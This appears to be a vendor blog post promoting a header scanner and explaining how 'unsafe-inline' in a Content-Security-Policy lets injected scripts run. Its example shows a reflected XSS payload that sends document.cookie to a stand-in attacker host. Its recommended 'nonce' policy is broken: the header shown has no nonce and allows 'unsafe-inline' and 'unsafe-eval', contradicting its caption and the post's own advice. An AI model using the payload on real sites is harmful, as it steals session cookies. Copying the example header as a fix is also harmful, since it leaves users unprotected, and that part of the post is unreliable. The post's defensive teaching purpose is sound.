HTTPS, TLS, and the headers that protect your visitors

Do you have a Content-Security-Policy, and is it actually doing anything?

Plenty of sites send a Content-Security-Policy header. Far fewer send one that stops anything. The header is the kind of thing that gets added once, copied from a Stack Overflow answer to make a scanner stop complaining, and never revisited.

So the real question isn't whether you have a CSP. It's whether yours would block an injected <script>, or wave it straight through. Because a policy with unsafe-inline in it does the second thing, and it's the most common way a CSP turns into decoration.

What unsafe-inline actually permits

A Content-Security-Policy's main job is to tell the browser which scripts are allowed to run. Done right, it means an attacker who manages to inject markup into your page still can't get their script to execute, because the browser checks every script against your policy before running it. That's the whole defense against a large class of cross-site scripting.

unsafe-inline removes it. The directive tells the browser to run any inline script it finds in the page, no questions asked. Your scripts, sure, but also anything an attacker manages to inject through a comment field, a search parameter reflected into the page, a username rendered without escaping, a third-party widget that got compromised. The browser can no longer tell the difference, because you told it not to.

request
GET /search?q=<script>fetch('//evil.example/c?'+document.cookie)</script>
response
HTTP/2 200
content-security-policy: script-src 'self' 'unsafe-inline'
<p>No results for
<script>fetch('//evil.example/c?'+document.cookie)</script>
</p>
The reflected script is injected and the CSP permits it. unsafe-inline tells the browser to run exactly this.

That's the shape of it. The injection point is your problem to fix in the app, but a real CSP is the safety net that catches it when you miss one. With unsafe-inline, the net has a hole the exact size of the threat.

The composites you'll recognize

A reflected search term that renders unescaped into the results page. A profile bio that allows a little formatting and accidentally allows a <script> with it. A support-ticket subject line that an admin opens in a dashboard, executing the attacker's script with the admin's session. None of these are exotic. They're the everyday ways markup ends up in a page, and a strict CSP neutralizes all of them at once by refusing to run scripts that didn't come from where you said.

There's a second tell worth knowing: 'unsafe-eval', which permits eval() and its relatives, and a script-src set to * or to a wildcard like https:, which trusts every host on the internet. Any of these is the same failure as unsafe-inline. The policy exists, the browser reads it, and it permits the thing the policy was supposed to stop.

How to check

Read your own header and look at one directive.

  1. curl -sI https://yoursite.com | grep -i content-security-policy. No output means no policy at all, which is its own finding.
  2. If there is one, look at script-src (or default-src if script-src is absent). The words 'unsafe-inline', 'unsafe-eval', a bare *, or https: as a source all mean the policy isn't protecting against script injection.
  3. Open the browser console on your site. CSP violations log there, which is also how you'll find the legitimate inline scripts you need to account for before tightening.

The directive that defangs a CSP sits in the header your server already sends to every visitor, so it's visible without touching your app at all. SurfaceCheckr reads that header and tells you whether a CSP is present and whether unsafe-inline, unsafe-eval, or a wildcard source is sitting in it. That's the limit of what an external read can do. It won't find the form field an attacker would inject through, because that's inside your code and we don't go there. Treat the header check as one half and your output escaping as the other.

Tightening it without breaking the page

The reason unsafe-inline is everywhere is that removing it breaks inline scripts and inline event handlers, and most sites have some. The fix is a nonce: a random value you generate per request, put on the header and on each script tag you trust, so the browser runs those and refuses everything else.

Content-Security-Policy:
default-src 'self';
script-src 'self' 'unsafe-inline' 'unsafe-eval'
A nonce changes on every request, so an attacker can't guess it to mark their injected script as trusted. Inline handlers like onclick= must move into nonce'd scripts.

Roll it out behind Content-Security-Policy-Report-Only first. That sends the policy without enforcing it and logs what it would have blocked, so you find every legitimate inline script before it bites a real user. Once the report log is quiet, flip it to the enforcing header.

While you're in the response headers, the same pass should add clickjacking protection so your pages can't be framed and confirm your session cookies carry HttpOnly, because a CSP and an HttpOnly cookie defend the same attack from two sides.

Run the curl line against your own domain and look for unsafe-inline. If it's there, the header is shipping but the protection it implies isn't.

Find it before someone else does.

Paste your domain. The grade and issue count are free, and you'll see in a couple of minutes exactly what's reachable from outside.